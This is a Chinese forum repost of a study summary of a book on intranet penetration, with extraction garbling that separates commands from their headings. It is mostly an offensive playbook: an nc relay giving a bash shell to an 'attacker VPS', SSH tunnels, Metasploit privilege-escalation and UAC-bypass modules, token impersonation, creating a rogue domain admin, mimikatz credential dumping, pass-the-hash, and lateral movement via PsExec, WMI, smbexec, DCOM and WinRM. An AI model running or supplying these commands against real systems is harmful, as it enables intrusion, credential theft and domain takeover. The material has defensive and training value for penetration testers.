搜索

[22093] 2021-06-23_《内网安全攻防》知识点汇总

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-23_《内网安全攻防》知识点汇总 《 内 网 安 全 攻 防 》 知 识 点 汇 总 自   T i d e 安 全 团 队   L e m o n S e c   2 0 2 1 - 0 6 - 2 3 0 x 0 0 前 言 前 言 主 要 把 近 期 读 的 《 内 网 安 全 攻 防 》 做 一 个 知 识 点 汇 总 ， 方 便 查 阅 。 0 x 0 1   内 网 渗 透 基 础 内 网 渗 透 基 础 第 一 章 内 容 相 对 比 较 基 础 ， 参 见 之 前 总 结 的 这 篇 博 文 ： 内 网 基 础 知 识 ： h t t p s : / / w w w . c n b l o g s . c o m / - m o - / p / 1 1 9 0 6 7 7 2 . h t m l 0 x 0 2   内 网 信 息 收 集 内 网 信 息 收 集 2 . 1   收 集 本 机 信 息 收 集 本 机 信 息 内 容 比 较 多 ， 放 在 这 里 了 ： 内 网 攻 防 技 术 备 忘 录 ： h t t p s : / / w w w . c n b l o g s . c o m / - m o - / p / 1 2 3 5 8 8 1 2 . h t m l 2 . 3   探 测 域 内 存 活 主 机 探 测 域 内 存 活 主 机 探 测 存 活 主 机 ， 可 在 白 天 和 晚 上 分 别 进 行 探 测 ， 进 行 对 比 分 析 这 里 我 之 前 也 有 写 过 一 篇 博 文 ， 相 对 比 较 全 ： 多 种 方 式 探 测 内 网 存 活 主 机 ： h t t p s : / / w w w . c n b l o g s . c o m / - m o - / p / 1 1 9 0 8 2 6 0 . h t m l 2 . 4   扫 描 域 内 端 口 扫 描 域 内 端 口 C o p y 2 . 5   收 集 域 内 信 息 收 集 域 内 信 息 C o p y # 手 工 t e l n e t t e l n e t   D C   2 2 # M s f u s e   a u x i l i a r y / s c a n n e r / p o r t s c a n / t c p # P o w e r S p l o i t . / I n v o k e - P o r t s c a n . p s 1 # N i s h a n g I n v o k e - P o r t S c a n 模 块
在 实 际 网 络 中 ， 一 个 域 内 一 般 存 在 两 台 或 者 两 台 以 上 的 域 控 制 器 （ 备 用 域 控 制 器 ） 常 用 的 d s q u e r y 域 内 命 令 ： C o p y C o p y 2 . 6   定 位 域 管 理 员 定 位 域 管 理 员 待 补 充 0 x 0 3   隐 藏 通 信 隧 道 技 术 隐 藏 通 信 隧 道 技 术 本 章 中 大 多 数 讲 解 的 是 如 何 在 访 问 受 限 的 网 络 环 境 中 来 去 自 如 ， 部 分 网 络 代 理 技 术 之 前 的 博 客 也 有 总 结 过 。 参 考 链 接 ： 端 口 转 发 工 具 大 合 集 ， 这 里 主 要 再 做 些 知 识 点 的 补 充 。 常 用 的 隧 道 如 下 ： 网 络 层 ： T P v 6 隧 道 ( s o c a t / 6 t u n n e l / n t 6 t u n n e l ) 、 I C M P 隧 道 ( i c m p s h / P i n g T u n n e l / p o w e r s h e l l   i c m p ) 、 G R E 隧 道 传 输 层 ： T C P 隧 道 、 U D P 隧 道 、 常 规 端 口 转 发 应 用 层 ： S S H 隧 道 、 H T T P 隧 道 、 H T T S 隧 道 、 D N S 隧 道 3 . 1   传 输 层 传 输 层 n c 代 理 代 理 实 验 环 境 ： # 当 前 域 名 称 n e t   v i e w   / d o m a i n # 查 询 域 内 所 有 主 机 n e t   v i e w   / d o m a i n : 域 名 # 查 询 域 内 所 有 用 户 组 n e t   g r o u p   / d o m a i n # 查 询 所 有 域 成 员 主 机 全 称 n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n # 获 取 域 密 码 信 息 n e t   a c c o u n t s   / d o m a i n # 获 取 域 信 任 信 息 n l t e s t   / d o m a i n _ t r u s t s # 查 看 域 控 制 器 的 主 机 名 n l t e s t   / D C L I S T : 域 名 N s l o o k u p   - t y p e = S R V   _ l d a p . _ t c p n e t d o m   q u e r y   p d c # 查 看 域 控 制 器 组 n e t   g r o u p   " D o m a i n   C o n t r o l l e r s "   / d o m a i n d s q u e r y   o u   -   查 找   组 织 单 元 d s q u e r y   g r o u p   -   查 找   组 d s q u e r y   s i t e   -   查 找   站 点 d s q u e r y   u s e r   -   查 找   用 户 d s q u e r y   c o m p u t e r   -   查 找   计 算 机 d s q u e r y   s u b n e t   -   查 找   子 网 d s q u e r y   q u o t a   -   查 找 配 额 规 定 d s q u e r y   c o n t a c t   -   查 找   联 系 人 d s q u e r y   p a r t i t i o n   -   查 找 分 区 d s q u e r y   s e r v e r   -   查 找   A D   D C / L D S   实 例 d s q u e r y   *   -   用 通 用 的 L D A P 查 询 来 查 找 任 何 对 象 # 查 询 域 管 理 用 户 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n # 查 询 管 理 员 用 户 组 n e t   g r o u p   " E n t e r p r i s e   A d m i n s "   / d o m a i n
C o p y 代 理 目 的 ： 攻 击 者 V P S 能 够 管 控 内 网 数 据 库 的 终 端 C o p y 3 . 2   应 用 层 应 用 层 S S H 代 理 代 理 C o p y S S H 协 议 属 于 应 用 层 协 议 ， 一 个 普 通 的 S S H 命 令 如 下 ： 3 . 2 . 1   实 验 环 境 K a l i : 1 9 2 . 1 6 8 . 1 . 4 D M Z 服 务 器 : 1 9 2 . 1 6 8 . 1 . 1 1 / 1 . 1 . 1 . 1 6 数 据 库 服 务 器 ： 1 . 1 . 1 . 1 0 3 . 2 . 2   本 地 转 发 ( 适 合 目 标 机 能 够 接 收 内 部 流 量 的 情 况 ) 转 发 目 的 ： 以 D M Z 服 务 器 为 跳 板 ， 访 问 数 据 库 服 务 的 3 3 8 9 端 口 C o p y 本 地 转 发 是 将 远 程 主 机 某 个 端 口 的 数 据 转 发 到 本 地 机 器 的 指 定 端 口 ， 此 时 访 问 本 地 的 1 1 5 3 端 口 ， 即 可 成 功 代 理 目 标 主 机 的 3 3 8 9 端 口 流 量 。 3 . 2 . 3   远 程 转 发 ( 适 合 跳 板 机 能 够 发 送 内 部 流 量 的 情 况 ) 转 发 目 的 ： 以 D M Z 服 务 器 为 跳 板 ， 访 问 数 据 库 服 务 的 3 3 8 9 端 口 C o p y 远 程 转 发 是 在 远 程 主 机 上 监 听 一 个 端 口 ， 所 有 访 问 远 程 服 务 器 指 定 端 口 的 数 据 都 会 通 过 S S H 隧 道 传 输 到 达 本 地 的 对 应 端 口 ， 此 时 访 问 K a l i 的 3 3 0 7 端 口 ， 即 可 成 功 代 理 目 标 主 机 的 3 3 8 9 端 口 流 量 3 . 2 . 4   动 态 转 发 可 以 通 过 S S H 隧 道 开 启 一 个 目 标 内 网 的 代 理 通 道 同 一 实 验 环 境 下 ， 在 K a l i 上 执 行 ： C o p y 此 时 即 通 过 S S H 隧 道 开 放 了 一 个 可 以 访 问 目 标 服 务 器 内 网 环 境 的 流 量 通 道 0 x 0 4   权 限 提 升 分 析 与 防 御 权 限 提 升 分 析 与 防 御 攻 击 者 V P S ： 1 9 2 . 1 6 8 . 1 . 4 D M Z 服 务 器 ： 1 9 2 . 1 6 8 . 1 . 1 / 1 . 1 . 1 . 1 1 6 内 网 数 据 库 ： 1 . 1 . 1 . 2 0 0 # 攻 击 者 V P S n c   - l v p   3 3 3 3 # 内 网 数 据 库 n c   - l v p   3 3 3 3   - e   / b i n / b a s h # D M Z 服 务 器 n c   - v   1 9 2 . 1 6 8 . 1 . 4   3 3 3 3   - c   " n c   - v   1 . 1 . 1 . 2 0 0   3 3 3 3 " s s h   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 # 在 K a l i 上 执 行 ， 会 要 求 输 入 D M Z 服 务 器 的 S S H 密 码 ： s s h   - C f N g   - L   1 1 5 3 ( 本 地 端 口 ) : 1 . 1 . 1 . 1 0 : 3 3 8 9 ( 目 标 主 机 )   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 1 ( 跳 板 机 ) # 在 D M Z 服 务 器 上 执 行 s s h   - C f N g   - R   3 3 0 7 ( K a l i 端 口 ) : 1 . 1 . 1 . 1 0 : 3 3 8 9 ( 目 标 主 机 )   r o o t @ 1 9 2 . 1 6 8 . 1 . 4 ( K a l i 主 机 ) s s h   - C f N g   - D   7 0 0 0   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 1 ( D M Z 服 务 器 )
4 . 1   简 介 简 介 提 权 可 分 为 纵 向 提 权 与 横 向 提 权 ： 纵 向 提 权 ： 低 权 限 角 色 获 得 高 权 限 角 色 的 权 限 ； 横 向 提 权 ： 获 取 同 级 别 角 色 的 权 限 。 常 用 的 提 权 方 法 有 ： 系 统 内 核 溢 出 漏 洞 提 权 、 数 据 库 提 权 、 错 误 的 系 统 配 置 提 权 、 组 策 略 首 选 项 提 权 、 W E B 中 间 件 漏 洞 提 权 、 D L L 劫 持 提 权 、 滥 用 高 危 权 限 令 牌 提 权 、 第 三 方 软 件 / 服 务 提 权 等 4 . 2   系 统 内 核 溢 出 漏 洞 提 权 系 统 内 核 溢 出 漏 洞 提 权 此 提 权 方 法 即 是 通 过 系 统 本 身 存 在 的 一 些 漏 洞 ， 未 曾 打 相 应 的 补 丁 而 暴 露 出 来 的 提 权 方 法 ， 依 托 可 以 提 升 权 限 的 E X P 和 它 们 的 补 丁 编 号 ， 进 行 提 升 权 限 。 h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s 4 . 2 . 1   手 工 查 找 补 丁 情 况 C o p y 4 . 2 . 2   M S F 后 渗 透 扫 描 C o p y 4 . 2 . 3   P o w e r s h e l l 扫 描 C o p y 4 . 3   系 统 配 置 错 误 提 权 系 统 配 置 错 误 提 权 4 . 3 . 1   系 统 服 务 权 限 配 置 错 误 W i n d o w s 在 系 统 启 动 时 ， 会 伴 随 着 一 些 高 权 服 务 启 动 ， 倘 若 某 些 服 务 存 在 一 些 漏 洞 ， 那 么 就 能 够 借 此 服 务 进 行 权 限 劫 持 实 现 方 法 可 借 助 ： 1 . P o w e r s h e l l 中 的 P o w e r U p 脚 本 2 . M e t a s p l o i t 中 的 攻 击 模 块 C o p y 4 . 3 . 2   可 信 任 服 务 路 径 漏 洞 如 果 一 个 服 务 的 可 执 行 文 件 的 路 径 没 有 被 双 引 号 引 起 来 且 包 含 空 格 ， 那 么 这 个 服 务 就 是 有 漏 洞 的 M S F 使 用 实 战 ： C o p y 4 . 3 . 3   计 划 任 务 如 果 攻 击 者 对 以 高 权 限 运 行 的 任 务 所 在 的 目 录 具 有 写 权 限 ， 就 可 以 使 用 恶 意 程 序 覆 盖 原 来 的 程 序 ， 这 样 在 下 次 计 划 执 行 时 ， 就 会 以 高 权 限 来 运 行 恶 意 程 序 。 s y s t e m i n f o W m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s I m p o r t - M o d u l e   C : S h e r l o c k . p s 1 F i n d - A l l V u l n s # 需 要 提 前 获 取 一 个 s e s s i o n e x p l o i t / w i n d o w s / l o c a l / s e r v i c e _ p e r m i s s i o n s # 寻 找 存 在 漏 洞 的 服 务 w m i c   s e r v i c e   g e t   n a m e , d i s p l a y n a m e , p a t h n a m e , s t a r t m o d e   |   f i n d s t r   / i   " A u t o "   |   f i n d s t r   / i   / v   " C : W i n d o w s "   |   f i n d s t r   / i   / v   " " " e x p l o i t / w i n d o w s / l o c a l / t r u s t e d _ s e r v i c e _ p a t h # 正 常 接 收 到 会 话 后 ， 不 久 就 会 自 动 断 开 连 接 ， 需 要 开 启 命 令 自 动 迁 移 进 程 s e t   A u t o R u n S c r i p t   m i g r a t e   - f
C o p y 4 . 3 . 4   E m p i r e 内 置 模 块 C o p y 4 . 4   组 策 略 首 选 项 提 权 组 策 略 首 选 项 提 权 组 策 略 首 选 项 ( G r o u p   P o l i c y   P r e f e r e n c e s , G P P ) 谢 公 子 的 博 客 有 很 清 楚 的 说 明 ： W i n d o w s 组 策 略 首 选 项 提 权 C o p y 4 . 5   绕 过 绕 过 U A C 提 权 提 权 之 前 b a c k l i o n 师 傅 有 一 篇 博 文 ， 主 要 写 的 就 是 这 个 ： 使 用 M e t a s p l o i t 绕 过 U A C 的 多 种 方 法 所 以 在 这 里 就 只 把 一 些 常 用 的 命 令 筛 选 出 来 C o p y C o p y 4 . 6   令 牌 窃 取 令 牌 窃 取 4 . 6 . 1   实 战 举 例 C o p y # 查 看 计 算 机 的 计 划 任 务 s c h t a s k s   / q u e r y   / f o   L I S T   / v u s e m o d u l e   p r i v e s c / p o w e r u p / a l l c h e c k s e x e c u t e # P o w e r s h e l l 获 取 c p a s s w o r d G e t - G P P P a s s w o r d . p s 1 # M s f p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / g p p # E m p i r e u s e m o d u l e   p r i v e s c / g p p # M s f e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c g e t s y s e m # 避 免 发 现 , 内 存 注 入 , 不 产 生 文 件 e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c _ i n j e c t i o n # P o w e r s h e l l I n v o k e - P s U A C m e # E m p i r e u s e m o d u l e   p r i v e s c / b y p a s s u a c u s e m o d u l e   p r i v e s c / b y p a s s u a c _ w s c r i p t
C o p y 4 . 6 . 2   添 加 域 管 理 员 C o p y 在 添 加 好 可 控 制 的 域 管 理 员 后 ， 可 迭 代 使 用 M S F 查 询 所 存 在 的 身 份 验 证 令 牌 4 . 7   无 凭 证 条 件 下 的 权 限 提 升 无 凭 证 条 件 下 的 权 限 提 升 R e s p o n d e r . p y ： h t t p s : / / g i t h u b . c o m / S p i d e r L a b s / R e s p o n d e r . g i t 0 x 0 5   域 内 横 向 移 动 分 析 与 防 御 域 内 横 向 移 动 分 析 与 防 御 5 . 1   常 用 指 令 常 用 指 令 C o p y # 已 经 获 取 到 一 个 s e s s i o n # 方 法 一 m e t e r p r e t e r   >   u s e   i n c o g n i t o . . . . . . m e t e r p r e t e r   >   l i s t _ t o k e n s   - u . . . . . . W I N - 2 H U 3 N 1 A d m i n i s t r a t o r . . . . . . m e t e r p r e t e r   >   i m p e r s o n a t e _ t o k e n   W I N - 2 H U 3 N 1 A d m i n i s t r a t o r     # 注 意 ： 这 里 是 两 个 反 斜 杠 . . . . . . S u c c e s s f u l l y . . . . . . m e t e r p r e t e r   >   s h e l l C : U s e r A d m i n i s t r a t o r > w h o a m i W I N - 2 H U 3 N 1 A d m i n i s t r a t o r # 方 法 二 , 借 用 R o t t e n   p o t a t o 程 序 h t t p s : / / g i t h u b . c o m / f o x g l o v e s e c / R o t t e n P o t a t o . g i t m e t e r p r e t e r   >   u s e   i n c o g n i t o . . . . . . m e t e r p r e t e r   >   l i s t _ t o k e n s   - u . . . . . . W I N - 2 H U 3 N 1 A d m i n i s t r a t o r . . . . . . m e t e r p r e t e r   >   u p l o a d   / r o o t / R o t t e n p o t a t o / r o t t e n p o t a t o . e x e S u c c e s s f u l l y . . . . . . m e t e r p r e t e r   >   e x e c u t e   - H C   - f   r o t t e n p o t a t o . e x e S u c c e s s f u l l y . . . . . . m e t e r p r e t e r   >   g e t u i d . . . N T   A U T H O R I T Y S Y S T E M # c m d n e t   u s e r   m o   1 2 3 4 5 6   / a d   / d o m a i n                         # 添 加 域 用 户 n e t   g r o u p   " d o m a i n   a d m i n s "   m o   / a d   / d o m a i n     # 加 入 域 管 理 员 组 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n                   # 查 看 是 否 添 加 成 功 # M S F a d d _ u s e r   m o   1 2 3 4 5 6   - h   1 . 1 . 1 . 2 a d d _ g r o u p _ u s e r   " D o m a i n   A d m i n s "   m o   - h   1 . 1 . 1 . 2
5 . 2   W i n d o w s 系 统 散 列 值 获 取 系 统 散 列 值 获 取 在 w i n d o w s 操 作 系 统 中 ， H a s h 的 结 构 通 常 如 下 ： C o p y 单 机 密 码 抓 取 ： C o p y # I P C 连 接 n e t   u s e   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 i p c $   " 1 2 3 4 5 6 "   / u s e r : a d m i n i s t r a t o r n e t   u s e   # 查 看 已 建 立 的 连 接 n e t   u s e   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 i p c $   / d e l   / y   # 删 除 建 立 的 连 接 # d i r 命 令 d i r   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 c $     2 0 1 9 / 0 6 / 2 2     1 6 : 4 7         < D I R >                     .     2 0 1 9 / 0 6 / 2 2     1 6 : 4 7         < D I R >                     . .     2 0 1 9 / 0 4 / 2 4     1 5 : 2 2         < D I R >                     . i p y n b _ c h e c k p o i n t s     2 0 1 8 / 1 1 / 0 5     1 5 : 0 5                           4 , 7 6 0   1 - n u m p y 数 值 计 算 基 础 1 . i p y n b     2 0 1 9 / 0 4 / 2 3     1 6 : 1 3                           2 , 8 3 1   C r y p t o . i p y n b                               2   个 文 件             1 , 4 6 9   字 节                               3   个 目 录             1 , 9 7 6   可 用 字 节 # t a s k l i s t 命 令 t a s k l i s t   / $   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   / U   a d m i n i s t r a t o r   / P   1 2 3 4 5 6 # a t 计 划 任 务 n e t   t i m e   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 c o p y   c a l c . b a t   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 a t   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   4 . 1 1 P M   C : c a l c . b a t   ( 无 回 显 ) a t   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   4 . 1 1 P M   c m d . e x e   / c   " i p c o n f i g   > C : / 1 . t x t " t y p e   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 C $ 1 . t x t                   ( 分 步 回 显 ) a t   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   7 ( 任 务 计 划 的 I D 号 )   / d e l e t e   ( 清 除 计 划 任 务 ) # s c h t a s k s 计 划 任 务 # 在 远 程 主 机 上 创 建 一 个 ： c : c a l c . b a t   开 机 时 以 S y s t e m 权 限 启 动 的   t e s t   任 务 s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   / t n   t e s t   / s c   o n s t a r t   / t r   c : c a l c . b a t   / r u   s y s t e m   / f # 执 行   t e s t   任 务 s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   / i   / t n   " t e s t " # 删 除 计 划 任 务 s c h t a s k s   / d e l e t e   / s   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   / t n   " t e s t "   / f # s c h t a s k s 会 留 存 日 志 C : W i n d o w s T a s k s S c h e d L g U . t x t u s e r n a m e : R I D : L M - H A S H : N T - H A S H # 服 务 器 版 从 w i n d o w s   s e r v e r 2 0 0 3 以 后 ， 认 证 方 式 均 为 N T L M   H a s h # 如 果 L M   H a s h 被 禁 用 了 ， 工 具 抓 到 的 L M   H a s h 通 常 为 ： a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e
5 . 3   哈 希 传 递 攻 击 分 析 哈 希 传 递 攻 击 分 析 参 考 链 接 : M i m i k a t z 使 用 大 全 5 . 4   票 据 传 递 攻 击 分 析 票 据 传 递 攻 击 分 析 参 考 链 接 : M S 1 4 - 0 6 8 复 现 ( C V E - 2 0 1 4 - 6 3 2 4 ) 5 . 5   P s E x e c 的 使 用 的 使 用 在 建 立 了 I P C $ 的 情 况 下 ， 执 行 如 下 命 令 ， 获 取 S y s t e m 权 限 的 S h e l l C o p y C o p y 在 w e b s h e l l 的 环 境 下 ， p s e x e c   如 果 是 在 目 标 环 境 第 一 次 运 行 的 话 ， 有 可 能 会 因 为 程 序 的 U A C ， 出 现 无 法 使 用 的 情 况 ， 此 时 可 尝 试 使 用   p a e x e c   进 行 横 向 渗 透 : C o p y P A E x e c 下 载 链 接 5 . 6   W M I 的 使 用 的 使 用 w m i 的 命 令 没 有 回 显 ， 但 其 操 作 默 认 不 会 记 录 在 日 志 中 ， 需 要 借 助 i p c $ 和 t y p e 命 令 来 读 取 信 息 C o p y L i n u x : 想 要 从 L i n u x 向 W i n d o w s 进 行 横 向 渗 透 的 话 ， 可 以 使 用 i m p a c k e t 工 具 包 中 的 w m i e x e c . p y 文 件 ， 得 到 目 标 的 s h e l l W i n d o w s : 可 以 通 过 V B S 调 用 V M I 来 模 拟 P s E x e c 的 功 能 C o p y G e t P a s s w o r d _ x 6 4 . e x e     # 获 得 明 文 P w D u m p 7 . e x e   # 获 得 N T M L   H a s h # m i m i k a t z 本 地 读 取 p r i v i l e g e : : d e b u g t o k e n : : e l e v a t e l s a d u m p : : s a m m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l o g "   " s e k u r l s a : : l o g o n p a s s w o r d s " # m i m i k a t z 离 线 读 取 l s a s s . d m p # N i s h a n g I m p o r t - M o d u l e   . G e t - P a s s H a s h e s . p s 1 P s E x e c . e x e   - a c c e p t e u l a   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   - s   c m d . e x e # 如 果 暂 时 没 有 建 立 I P C $ 连 接 的 话 ， 可 以 用 - u , - p 参 数 进 行 建 立 P s E x e c . e x e   - a c c e p t e u l a   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   - u   a d m i n i s t r a t o r   - p   1 2 3 4 5 6   c m d . e x e   / c   " i p c o n f i g "       # 回 显 执 行 # M S F 中 的 p s e x e c 模 块 e x p l o i t / w i n d o w s / s m b / p s e x e c e x p l o i t / w i n d o w s / s m b / p s e x e c _ p s h ( P o w e r s h e l l 版 本 , 混 淆 ) P A E x e c   { s e r v e r   I P   a d d r e s s }   - s   c m d . e x e P A E x e c   { s e r v e r   I P   a d d r e s s }   i p c o n f i g P A E x e c   { s e r v e r   I P   a d d r e s s }   - u   { u s e r n a m e }   - p   { p a s s w o r d }   - i   - c   M y A p p . e x e # 远 程 执 行 w m i c 命 令 ， 目 标 服 务 器 需 开 启 1 3 5 端 口 w m i c   / n o d e : 1 7 2 . 1 6 . 1 . 1   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d : 1 2 3 4 5 6   p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   i p c o n f i g   > i p . t x t " t y p e   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 C $ i p . t x t
上 面 是 提 供 账 号 密 码 的 情 况 ， 如 果 有 时 候 我 们 抓 取 到 的 是 h a s h ， 破 解 不 了 时 可 以 利 用   W C E   的   h a s h   注 入 ， 然 后 再 执 行 W M I E X E C （ 不 提 供 账 号 密 码 ） 就 可 以 了 ： C o p y w c e 下 载 链 接 相 关 设 定 ： C o p y w m i e x e c . v b s 下 载 链 接 5 . 7   s m b e x e c 的 使 用 的 使 用 s m b e x e c 是 需 要 提 前 将 自 身 上 传 到 目 标 服 务 器 上 的 C o p y C o p y 5 . 8   D C O M 在 远 程 系 统 中 的 使 用 在 远 程 系 统 中 的 使 用 D O C M ( 分 布 式 组 件 对 象 模 型 ) 是 微 软 一 系 列 概 念 和 程 序 接 口 ， 通 过 D O C M ， 客 户 端 程 序 对 象 能 够 向 网 络 中 的 另 一 台 计 算 机 上 的 服 务 程 序 对 象 发 送 请 求 通 过 本 地 D C O M 执 行 命 令 ： C o p y 使 用 D C O M 远 程 执 行 命 令 ： C o p y c s c r i p t . e x e   / / n o l o g o   w m i e x e c . v b s   / s h e l l   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   a d m i n i s t r a t o r   1 2 3 4 5 6             # 半 交 互 式 s h e l l 模 式 c s c r i p t . e x e   w m i e x e c . v b s   / c m d   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0   a d m i n i s t r a t o r   1 2 3 4 5 6   " i p c o n f i g "             # 远 程 执 行 命 令 # w m i e x e c . v b s 已 被 列 入 各 大 安 全 厂 商 的 黑 名 单 w c e . e x e   - s   用 户 名 : 机 器 名 或 i p : L M - H A S H : N T - H A S H w c e . e x e   - s   用 户 名 : 域 名 : L M - H A S H : N T - H A S H # T i p s ： 如 果 抓 取 的   L M   h a s h   是   A A D 3   开 头 的 ， 或 者 是   N o   P a s s w o r d   之 类 的 ， 就 用   3 2   个   0   代 替   L M   h a s h   即 可 C o n s t   P a t h   =   " C : " C o n s t   F i l e N a m e   =   " w m i . d l l " C o n s t   t i m e O u t   =   1 2 0 0 # 这 段 代 码 在 脚 本 的 一 开 始 ， 是 控 制 结 果 文 件 路 径 、 文 件 名 、 以 及 默 认 代 码 执 行 时 间 的 ， 可 以 自 行 更 改 t e s t . e x e ： 客 户 端 主 程 序 e x e c s e r v e r . e x e ： 目 标 系 统 中 的 辅 助 程 序 n e t   u s e   1 9 2 . 1 6 8 . 1 0 0 . 2 0 5   " 1 2 3 4 5 6 "   / u s e r : p e n t e s t . c o m a d m i n i s t r a t o r # 将 e x e c s e r v e r . e x e 上 传 到 目 标 系 统 的 C : w i n d o w s 目 录 下 s m b e x e c . e x e   1 9 2 . 1 6 8 . 1 0 0 . 2 0 5   a d m i n i s t r a t o r   1 2 3 4 5 6   w h o a m i   c $ G e t - C i m I n s t a n c e   W i n 3 2 _ D C O M A p p l i c a t i o n # 使 用   P o w e s h e l l 3 . 0   获 取 本 地   D C O M   程 序 列 表 ( w i n   s e r v e r   2 0 1 2 以 上 ) G e t - W m i O b j e c t   - N a m e s p a c e   R O O T C I M V 2   - C l a s s   W i n 3 2 _ D C O M A p p l i c a t i o n # 使 用   P o w e s h e l l 2 . 0   获 取 本 地   D C O M   程 序 列 表 ( w i n 7 、 w i n   s e r v e r   2 0 0 8 ) $ c o m = [ a c t i v a t o r ] : : C r e a t e I n s t a n c e ( [ t y p e ] : : G e t T y p e F r o m P r o g I D ( " M M C 2 0 . A p p l i c a t i o n " , " 1 2 7 . 0 . 0 . 1 " ) ) $ c o m . D o c u m e n t . A c t i v e V i e w . E x e c u t e S h e l l C o m m a n d ( ' c m d . e x e ' , $ n u l l , " / c   c a l c . e x e " , " M i n i m z e d " ) # 通 过 P o w e r s h e l l 使 用 D C O M 本 地 执 行 c a l c . e x e n e t   u s e   1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 i p c $   " 1 2 3 4 5 6 "   / u s e r : a d m i n i s t r a t o r # 首 先 需 使 用 本 地 账 号 建 立 远 程 I P C $ 连 接 $ c o m = [ a c t i v a t o r ] : : C r e a t e I n s t a n c e ( [ t y p e ] : : G e t T y p e F r o m P r o g I D ( " M M C 2 0 . A p p l i c a t i o n " , " 1 9 2 . 1 6 8 . 1 0 0 . 1 9 0 " ) ) $ c o m . D o c u m e n t . A c t i v e V i e w . E x e c u t e S h e l l C o m m a n d ( ' c m d . e x e ' , $ n u l l , " / c   c a l c . e x e " , " " ) # 通 过 P o w e r s h e l l 使 用 D C O M 远 程 执 行 c a l c . e x e
5 . 9   W i n R M 远 程 管 理 服 务 远 程 管 理 服 务 W i n R M 指 的 是 W i n d o w s 远 程 管 理 服 务 ， 通 过 远 程 连 接 w i n R M 模 块 可 以 操 作 w i n d o w s 命 令 行 ， 默 认 监 听 端 口 5 9 8 5 （ H T T P ） & 5 9 8 6   ( H T T P S ) ， 在 2 0 1 2 以 后 默 认 开 启 。 执 行 命 令 ： C o p y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 作 者 ： 肖 洋 肖 恩 出 处 ： h t t p s : / / w w w . c n b l o g s . c o m / - m o - / 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 关 注 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 w i n r s   - r : h t t p : / / 1 8 6 . 6 4 . 1 0 . 1 3 : 5 9 8 5   - u : A d m i n i s t r a t o r   - p : A d m i n @ 1 2 3 . .   " w h o a m i   / a l l " w i n r s   - r : h t t p : / / 1 8 6 . 6 4 . 1 0 . 1 3 : 5 9 8 5   - u : A d m i n i s t r a t o r   - p : A d m i n @ 1 2 3 . .   " c m d . e x e "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理